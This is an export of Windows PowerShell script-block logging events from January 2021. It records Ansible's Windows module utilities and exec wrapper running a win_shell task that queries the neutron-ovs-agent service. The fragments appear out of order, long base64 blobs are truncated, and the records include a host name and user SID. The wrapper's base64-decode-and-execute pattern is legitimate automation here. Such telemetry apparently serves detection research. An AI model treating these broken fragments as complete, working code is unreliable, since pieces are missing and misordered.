$file = Get-Item -Path $executable -Force -ErrorAction SilentlyContinue
}
if ($file -ne $null) {
$executable_path = $file.FullName
} else {
$executable_path = [Ansible.CommandUtil]::SearchPath($executable)
}
return $executable_path
}
Function Run-Command {
Param(
[string]$command, # the full command to run including the executable
[string]$working_directory = $null, # the working directory to run under, will default to the current dir
[string]$stdin = $null, # a string to send to the stdin pipe when executing the command
[hashtable]$environment = @{} # a hashtable of environment values to run the command under, this will replace all the other environment variables with these
)
# load the C# code we call in this function
Load-CommandUtils
# need to validate the working directory if it is set
if ($working_directory) {
# validate working directory is a valid path
if (-not (Test-Path -Path $working_directory)) {
throw "invalid working directory path '$working_directory'"
}
}
# lpApplicationName needs to be the full path to an executable, we do this
# by getting the executable as the first arg and then getting the full path
$arguments = [Ansible.CommandUtil]::ParseCommandLine($command)
$executable = Get-ExecutablePath -executable $arguments[0] -directory $working_directory
# run the command and get the results
$command_result = [Ansible.CommandUtil]::RunCommand($executable, $command, $working_directory, $stdin, $environment)
return ,@{
executable = $executable
stdout = $command_result.StandardOut
stderr = $command_result.StandardError
rc = $command_result.ExitCode
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 6811e03a-247b-48fb-8c83-6e70938918db
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2143 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3428 | 1076 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:56 AM | 61e00a24-ee3b-0004-350c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 50dfb2e0-45df-46b2-958f-e16d619475b0
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2142 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3428 | 1076 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:56 AM | 61e00a24-ee3b-0004-2e0c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 48e403e0-2356-4650-81f6-300c267b6734
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2141 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3428 | 1076 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:56 AM | 61e00a24-ee3b-0004-1f0c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
pbAojUmVxdWlyZXMgLU1vZHVsZSBBbnNpYmxlLk1vZHVsZVV0aWxzLkZpbGVVdGlsCgojIFRPRE86IGFkZCBjaGVjayBtb2RlIHN1cHBvcnQKClNldC1TdHJpY3RNb2RlIC1WZXJzaW9uIDIKJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJTdG9wIgoKIyBDbGVhbnNlIENMSVhNTCBmcm9tIHN0ZGVyciAoc2lmdCBvdXQgZXJyb3Igc3RyZWFtIGRhdGEsIGRpc2NhcmQgb3RoZXJzIGZvciBub3cpCkZ1bmN0aW9uIENsZWFuc2UtU3RkZXJyKCRyYXdfc3RkZXJyKSB7CiAgICBUcnkgewogICAgICAgICMgTkI6IHRoaXMgcmVnZXggaXNuJ3QgcGVyZmVjdCwgYnV0IGlzIGRlY2VudCBhdCBmaW5kaW5nIENMSVhNTCBhbW9uZ3N0IG90aGVyIHN0ZGVyciBub2lzZQogICAgICAgIElmKCRyYXdfc3RkZXJyIC1tYXRjaCAiK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5FeGNlcHRpb24uTWVzc2FnZQp9CgojIFRPRE86IGRlY29kZSBDTElYTUwgc3RkZXJyIG91dHB1dCAoYW5kIG90aGVyIHN0cmVhbXM/KQokcmVzdWx0LnN0ZG91dCA9ICRjb21tYW5kX3Jlc3VsdC5zdGRvdXQKJHJlc3VsdC5zdGRlcnIgPSBDbGVhbnNlLVN0ZGVyciAkY29tbWFuZF9yZXN1bHQuc3RkZXJyIAokcmVzdWx0LnJjID0gJGNvbW1hbmRfcmVzdWx0LnJjCgokZW5kX2RhdGV0aW1lID0gW0RhdGVUaW1lXTo6VXRjTm93CiRyZXN1bHQuc3RhcnQgPSAkc3RhcnRfZGF0ZXRpbWUuVG9TdHJpbmcoInl5eXktTU0tZGQgaGg6bW06c3MuZmZmZmZmIikKJHJlc3VsdC5lbmQgPSAkZW5kX2RhdGV0aW1lLlRvU3RyaW5nKCJ5eXl5LU1NLWRkIGhoOm1tOnNzLmZmZmZmZiIpCiRyZXN1bHQuZGVsdGEgPSAkKCRlbmRfZGF0ZXRpbWUgLSAkc3RhcnRfZGF0ZXRpbWUpLlRvU3RyaW5nKCJoXDptbVw6c3NcLmZmZmZmZiIpCgpJZiAoJHJlc3VsdC5yYyAtbmUgMCkgewogICAgRmFpbC1Kc29uIC1vYmogJHJlc3VsdCAtbWVzc2FnZSAibm9uLXplcm8gcmV0dXJuIGNvZGUiCn0KCkV4aXQtSnNvbiAkcmVzdWx0Cg==", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "win_shell", "_raw_params": "Get-Service neutron-ovs-agent | %{$_.Status}", "_ansible_verbosity": 2, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: 92683e74-6a82-479f-a40f-fb1f1df72271
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2140 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3428 | 1076 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:56 AM | 61e00a24-ee3b-0004-190c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 4):
0LUFuc2libGVQYXJhbSgkb2JqLCAkbmFtZSwgJGRlZmF1bHQgPSAkbnVsbCwgJHJlc3VsdG9iaiA9IEB7fSwgJGZhaWxpZmVtcHR5ID0gJGZhbHNlLCAkZW1wdHlhdHRyaWJ1dGVmYWlsbWVzc2FnZSwgJFZhbGlkYXRlU2V0LCAkVmFsaWRhdGVTZXRFcnJvck1lc3NhZ2UsICR0eXBlID0gJG51bGwsICRhbGlhc2VzID0gQCgpKQp7CjwjCiAgICAuU1lOT1BTSVMKICAgIEhlbHBlciBmdW5jdGlvbiB0byBnZXQgYW4gImF0dHJpYnV0ZSIgZnJvbSBhIHBzb2JqZWN0IGluc3RhbmNlIGluIFBvd2VyU2hlbGwuCiAgICBUaGlzIGlzIGEgY29udmVuaWVuY2UgdG8gbWFrZSBnZXR0aW5nIE1lbWJlcnMgZnJvbSBhbiBvYmplY3QgZWFzaWVyIGFuZAogICAgc2xpZ2h0bHkgbW9yZSBweXRob25pYwogICAgLkVYQU1QTEUKICAgICRhdHRyID0gR2V0LUFuc2libGVQYXJhbSAkcmVzcG9uc2UgImNvZGUiIC1kZWZhdWx0ICIxIgogICAgLkVYQU1QTEUKICAgIEdldC1BbnNpYmxlUGFyYW0gLW9iaiAkcGFyYW1zIC1uYW1lICJTdGF0ZSIgLWRlZmF1bHQgIlByZXNlbnQiIC1WYWxpZGF0ZVNldCAiUHJlc2VudCIsIkFic2VudCIgLXJlc3VsdG9iaiAkcmVzdWx0b2JqIC1mYWlsaWZlbXB0eSAkdH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uZCByZWNoZWNrIHRoZSBzaGFwZS0gdGhpcyBtaWdodCBzdGlsbCBmYWlsLCBlZywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ29udmVydCBzdHJpbmcgdHlwZSB0byByZWFsIFBvd2Vyc2hlbGwgYXJyYXkKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICR2YWx1ZS5TcGxpdCgiLCIpLlRyaW0oKQogICAgICAgICAgICB9IGVsc2VpZiAoJHZhbHVlIC1pcyBbaW50XSkgewogICAgICAgICAgICAgICAgJHZhbHVlID0gQCgkdmFsdWUpCiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICJHZXQtQW5zaWJsZVBhcmFtOiBQYXJhbWV0ZXIgJyRuYW1lJyBpcyBub3QgYSBZQU1MIGxpc3QuIgogICAgICAgICAgICB9CiAgICAgICAgICAgICMgLCBpcyBub3QgYSB0eXBvLCBmb3JjZXMgaXQgdG8gcmV0dXJuIGFzIGEgbGlzdCB3aGVuIGl0IGlzIGVtcHR5IG9yIG9ubHkgaGFzIDEgZW50cnkKICAgICAgICAgICAgcmV0dXJuICwkdmFsdWUKICAgICAgICB9CiAgICB9CgogICAgcmV0dXJuICR2YWx1ZQp9CgojQWx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5ldy1PYmplY3QgLVR5cGVOYW1lIFN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uSXRlbU5vdEZvdW5kRXhjZXB0aW9uIC1Bcmd1bWVudExpc3QgIkNhbm5vdCBmaW5kIHBhdGggJyRQYXRoJyBiZWNhdXNlIGl0IGRvZXMgbm90IGV4aXN0LiIKICAgIH0gZWxzZWlmICgkZmlsZV9hdHRyaWJ1dGVzLkhhc0ZsYWcoW1N5c3RlbS5JTy5GaWxlQXR0cmlidXRlc106OkRpcmVjdG9yeSkpIHsKICAgICAgICByZXR1cm4gTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLklPLkRpcmVjdG9yeUluZm8gLUFyZ3VtZW50TGlzdCAkUGF0aAogICAgfSBlbHNlIHsKICAgICAgICByZXR1cm4gTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLklPLkZpbGVJbmZvIC1Bcmd1bWVudExpc3QgJFBhdGgKICAgIH0KfQoKRXhwb3J0LU1vZHVsZU1lbWJlciAtRnVuY3Rpb24gVGVzdC1BbnNpYmxlUGF0aCwgR2V0LUFuc2libGVJdGVtCg=="}, "module_entry": "IyFwb3dlcnNoZWxsCgojIENvcHlyaWdodDogKGMpIDIwMTcsIEFuc2libGUgUHJvamVjdAojIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIHYzLjArIChzZWUgQ09QWUlORyBvciBodHRwczovL3d3dy5nbnUub3JnL2xpY2Vuc2VzL2dwbC0zLjAudHh0KQoKI1JlcXVpcmVzIC1Nb2R1bGUgQW5zaWJsZS5Nb2R1bGVVdGlscy5MZWdhY3kKI1JlcXVpcmVzIC1Nb2R1bGUgQW5zaWJsZS5Nb2R1bGVVdGlscy5Db21tYW5kVXR
ScriptBlock ID: 92683e74-6a82-479f-a40f-fb1f1df72271
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2139 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3428 | 1076 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:56 AM | 61e00a24-ee3b-0004-190c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 4):
ICAgICAgICAgICBzaS5zdGFydHVwSW5mby5oU3RkSW5wdXQgPSBzdGRpbl9yZWFkOwoKICAgICAgICAgICAgLy8gU2V0dXAgdGhlIHN0ZGluIGJ1ZmZlcgogICAgICAgICAgICBVVEY4RW5jb2RpbmcgdXRmOF9lbmNvZGluZyA9IG5ldyBVVEY4RW5jb2RpbmcoZmFsc2UpOwogICAgICAgICAgICBGaWxlU3RyZWFtIHN0ZGluX2ZzID0gbmV3IEZpbGVTdHJlYW0oc3RkaW5fd3JpdGUsIEZpbGVBY2Nlc3MuV3JpdGUsIDMyNzY4KTsKICAgICAgICAgICAgU3RyZWFtV3JpdGVyIHN0ZGluID0gbmV3IFN0cmVhbVdyaXRlcihzdGRpbl9mcywgdXRmOF9lbmNvZGluZywgMzI3NjgpOwoKICAgICAgICAgICAgLy8gSWYgbHBDdXJyZW50RGlyZWN0b3J5IGlzIHNldCB0byBudWxsIGluIFBTIGl0IHdpbGwgYmUgYW4gZW1wdHkKICAgICAgICAgICAgLy8gc3RyaW5nIGhlcmUsIHdlIG5lZWQgdG8gY29udmVydCBpdAogICAgICAgICAgICBpZiAobHBDdXJyZW50RGlyZWN0b3J5ID09ICIiKQogICAgICAgICAgICAgICAgbHBDdXJyZW50RGlyZWN0b3J5ID0gbnVsbDsKCiAgICAgICAgICAgIFN0cmluZ0J1aWxkZXIgZW52aXJvbm1lbnRTdHJpbmcgPSBudWxsOwoKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50ICE9IG51bGwgJiYgZW52aXJvbm1lbnQuQ291bnQgPiAwKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBlbnZpcm9ubWVudFN0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoIChEaWN0aW9uYXJ5RW50cnkga3YgaW4gZW52aXJvbm1lbnQpCiAgICAgICAgICAgICAgICAgICAgZW52aXJvbm1lbnRTdHJpbmcuQXBwZW5kRm9ybWF0KCJ7MH09ezF9XDAiLCBrdi5LZXksIGt2LlZhbHVlKTsKICAgICAgICAgICAgICAgIGVudmlyb25tZW50U3RyaW5nLkFwcGVuZCgnXDAnKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gQ3JlYXRlIHRoZSBlbnZpcm9ubWVudCBibG9jayBpZiBzZXQKICAgICAgICAgICAgSW50UHRyIGxwRW52aXJvbm1lbnQgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50U3RyaW5nICE9IG51bGwpCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50ID0gTWFyc2hhbC5TdHJpbmdUb0hHbG9iYWxVbmkoZW52aXJvbm1lbnRTdHJpbmcuVG9TdHJpbmcoKSk7CgogICAgICAgICAgICAvLyBDcmVhdGUgbmV3IHByb2Nlc3MgYW5kIHJ1